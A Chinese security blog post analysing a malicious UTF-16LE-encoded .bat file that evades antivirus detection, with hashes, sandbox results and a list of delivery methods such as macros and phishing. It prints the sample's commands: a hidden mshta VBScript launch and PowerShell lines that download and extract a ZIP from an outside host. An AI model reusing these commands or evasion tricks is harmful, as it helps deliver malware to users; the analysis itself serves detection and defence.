UTF-16LE编码与.Bat文件:探讨混淆技术逃避检测

2024-12-17 20 0

近期在X上的发现:威胁猎手捕获到的猎物

在最近的X浏览中,我发现了威胁猎手捕获的一些有趣的猎物。其中一个样本引起了我的注意——一个以.bat文件形式出现的可疑文件。我分析了这个文件发现它在Virustotal沙箱的检测结果相当低,截至12月9日,仅有1/62的检测率,而且还是安全软件Kaspersky实验室能够识别到其异常。而在今天(2024年12月10日),这个检测触发标红略有上升至3/62。

文件哈希值:

  • MD5:7bd226d3911eee86acd8733aad6dc356
  • SHA-1:e550e075ac4cd24aaca3e853add0bf986d0c9e94
  • SHA-256:d410a958d00adbf49afa6dbd439843652e81314fd11e5925956630682dbedb2e

文件类型分析:

  • SSDEEP:3072:M2EDdXWAPtYKlMr/sWDwGgkekPDBcZn42p9Gzua7Y09cQ7rig/liTqSc:9ExuKot7eADBcvp0zuU39TjiTS
  • TLSH:T12304E112421C6E3F739B639D44B91E1A69C84DC300B61FD8F47C9AC6BB8ED172B6918D
  • 文件类型:文本文件,具体为UTF-16编码的文本
  • Magic:Unicode文本,采用UTF-16小端序编码,包含极长的行(32767u),没有行终止符
  • TrID:主要被识别为MP3音频(ID3 v1.x标签,45.4%),其次是UTF-16(LE)编码的文本(36.3%),以及MP3音频(18.1%)
  • Magika:TXT文件类型
  • 文件大小:170.50 KB (174595 bytes)

前言

本文讨论了一个普通的批处理(.bat)文件,它通过采用非标准的UTF-16小端序(UTF-16LE)编码方式,成功地绕过了传统的恶意软件检测工具。通常,.bat文件是以纯文本编码(如ASCII或UTF-8)保存的。然而,使用UTF-16LE编码显著提高了该文件在安全沙箱环境中的隐蔽性,从而降低了检测的有效性。此技术正是现代恶意软件开发者常用的反检测手段之一。除了编码混淆外,文件还采用了极长的行(达到32767个字符)并去除了常规的行终止符,进一步增加了分析的复杂度。通过这种方式,文件能够避开传统的静态扫描工具,从而达到其恶意目的——通过CMD命令执行下载恶意文件的操作。

UTF-16LE编码的逃避机制

UTF-16LE(小端序)是Windows平台上广泛使用的文本编码方式。它将每个字符以两个字节进行存储。相比于传统的ASCII或UTF-8编码,UTF-16LE在逃避恶意软件检测方面具有明显优势。具体来说,它能有效地混淆恶意代码,使得静态分析工具难以识别文件中的恶意内容。以下是UTF-16LE编码在恶意软件逃避检测中的一些关键技术:

  • 隐藏恶意代码:UTF-16LE编码通过将每个字符拆分为两个字节,使得恶意代码的字符序列被分散存储。这种方式增加了扫描工具在进行匹配时的困难,因为恶意代码的字节序列被打乱,从而避免了简单的字节模式匹配。

  • 绕过签名检测:恶意软件通常依赖于签名检测,寻找特定的字节模式。而在UTF-16LE编码下,即使恶意的.bat文件内容相同,也由于编码的重排,导致基于签名的检测无法有效识别其恶意特性。

  • 增加解析复杂性:UTF-16LE编码让恶意脚本的执行行为和结构被转化为多字节的字符序列。这使得动态分析的复杂度大幅提高,尤其是当文件中存在无终止符的长行时,分析者难以快速确定恶意代码的开始与结束,从而延缓了攻击行为的发现。

  • 混淆与反调试:UTF-16LE编码常与其他反调试、反虚拟化技术结合使用。攻击者可能在文件中插入无关的Unicode字符,进一步迷惑分析工具或沙箱环境,避免被即时检测。

分析与攻击链

通过对该样本的进一步分析,我们发现该文件不仅使用了UTF-16LE编码,而且巧妙地与其他混淆技术结合使用,使得恶意行为在沙箱环境中不易被察觉。具体来说,文件内容中含有大量无用的Unicode字符,并且伪造了MP3音频标签,这可能导致它在静态分析时被误判为音频文件。打开该.bat文件时,由于编码的混淆,传统文本编辑器无法直接识别其内容,因此也无法快速发现文件中的恶意命令。

UTF-16LE编码与.Bat文件:探讨混淆技术逃避检测插图1

我们还观察到,文件头包含了字节顺序标记(BOM,字节顺序标记为“FF FE”),这使得该文件被错误地识别为UTF-16LE编码格式的文件。尽管文件实际包含的只是ASCII字符,这一字节顺序标记可能会误导安全软件,使其认为文件是复杂的Unicode文本,而忽略其中潜在的恶意代码。这种混淆手段通过利用UTF-16LE编码的特性,成功规避了许多常见的安全扫描技术。

UTF-16LE编码与.Bat文件:探讨混淆技术逃避检测插图2

字符替换与插入:被插入的乱码字符(如“欥䭷捊呔╒┾汯...”等)并非随机生成,而是通过某种规则将ASCII字符编码为UTF-16LE字符。

通过这种方式,攻击者可以有效将有害的执行代码隐藏在乱码字符中,这些乱码字符看起来毫无意义,但实际上它们是在执行阶段被转换回有效的编码指令。

UTF-16LE编码与.Bat文件:探讨混淆技术逃避检测插图3

【.bat样本文件内的指令】

1. cmd.exe和 very.bat的执行

  • cmd.exe(PID:6876) 启动了 very.bat文件:
    PLAINTEXT
    "C:\Windows\System32\cmd.exe" /c C:\Users\Administrator\Desktop\very.bat

    • 这里使用 /c参数表示执行命令并立即退出。
    • very.bat可能是攻击者用来执行恶意操作的批处理文件。UTF-16LE编码与.Bat文件:探讨混淆技术逃避检测插图4

2. chcp.com- 改变代码页

  • chcp.com(PID:6420) 执行命令 chcp 65001,将命令提示符的代码页更改为65001(UTF-8),以便正确处理Unicode字符。

3. mshta.exe- 使用VBScript执行恶意脚本

  • mshta.exe(PID:6528) 执行一个VBScript脚本,该脚本创建一个WScript.Shell对象并在后台运行 very.bat
    PLAINTEXT
    mshta vbscript:createobject("wscript.shell").run("""C:\Users\ADMINI~1\Desktop\very.bat"" ::",0)(window.close)

    • 这里 ::可能是为了确保脚本不会产生任何输出。
    • (window.close)关闭MSHTA窗口,隐藏了脚本的执行。

4. 再次执行 cmd.exe和 very.bat

  • cmd.exe(PID:6928) 再次启动 very.bat
    PLAINTEXT
    
    C:\Windows\system32\cmd.exe /c ""C:\Users\ADMINI~1\Desktop\very.bat" ::"

5. 下载和解压文件

  • cmd.exe(PID:7116) 执行一个PowerShell命令,用于下载和解压文件:

    PLAINTEXT
    
    C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://ai-kling.online/vietnamplug.zip', [System.IO.Path]::GetTempPath() + 'xFSOj9El1Q.zip') "

    • 该命令设置TLS 1.2协议,然后使用 WebClient下载一个ZIP文件到临时文件夹。
  • powershell.exe(PID:6572) 执行PowerShell脚本:

    PLAINTEXT
    
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

  • cmd.exe(PID:5492) 执行另一个PowerShell命令,用于解压ZIP文件:

    PLAINTEXT
    
    C:\Windows\system32\cmd.exe /S /D /c" echo $dst = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('LocalApplicationData'), 'xFSOj9El1Q'); Add-Type -AssemblyName System.IO.Compression.FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force "$dst*" } else { New-Item -ItemType Directory -Force $dst } ; [System.IO.Compression.ZipFile]::ExtractToDirectory([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'xFSOj9El1Q.zip'), $dst) "

    • 该命令将下载的ZIP文件解压到用户的本地应用数据文件夹。

下载的是一个Python程序。

https://ai-kling.online/vietnamplug.zip

UTF-16LE编码与.Bat文件:探讨混淆技术逃避检测插图5

样本沙箱检测

UTF-16LE编码与.Bat文件:探讨混淆技术逃避检测插图6

【火绒检测】

UTF-16LE编码与.Bat文件:探讨混淆技术逃避检测插图7

virustotal沙箱检测

UTF-16LE编码与.Bat文件:探讨混淆技术逃避检测插图8

微步沙箱检测

UTF-16LE编码与.Bat文件:探讨混淆技术逃避检测插图9

奇安信沙箱检测

总结

这种UTF-16LE编码绕过检测的攻击手段,配合以上各种攻击方式,可以帮助攻击者提高攻击的隐蔽性和成功率,攻击者可能会配合文档等攻击手法例如:

  1. 宏病毒

    • 攻击者可以将恶意.bat文件嵌入到文档(如Word、Excel)中的宏中。当用户启用宏时,宏将执行该.bat文件。
  2. 钓鱼邮件附件

    • 通过电子邮件发送包含恶意.bat文件的文档。当用户打开附件并执行时,恶意代码会被触发。
  3. 文档伪装

    • 文档(如PDF、Word)可以伪装成普通文件,但实际上包含了触发.bat文件执行的代码或链接。
  4. 嵌入式对象

    • 在文档中嵌入对象(如图片、链接),这些对象实际指向恶意的.bat文件或包含触发执行恶意代码的脚本。
  5. 文档的自动化功能

    • 利用文档的自动化功能(如自动运行VBA脚本或宏)来执行隐藏的.bat文件。
  6. 伪装为合法文件

    • .bat文件伪装成普通的文本文档或其他类型的文件,通过社工手法诱导用户执行。
  7. 文件共享和云存储服务

    • 利用OneDrive、Dropbox等服务分享包含恶意.bat文件的文档,用户下载并执行时触发恶意行为。
  8. 恶意链接

    • 在文档中嵌入恶意链接,这些链接指向下载和执行.bat文件的网站。

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

应急响应:Windows服务器靶机门罗币挖矿应急处理流程
浅谈目录权限导致的文件劫持
海外的bug-hunters,不一样的403bypass
java代码审计 | struts2框架路由详解
电子数据取证 | 一次电子数据取证的尝试与反思
结合ppid欺骗和远线程注入实现dll挖空

发布评论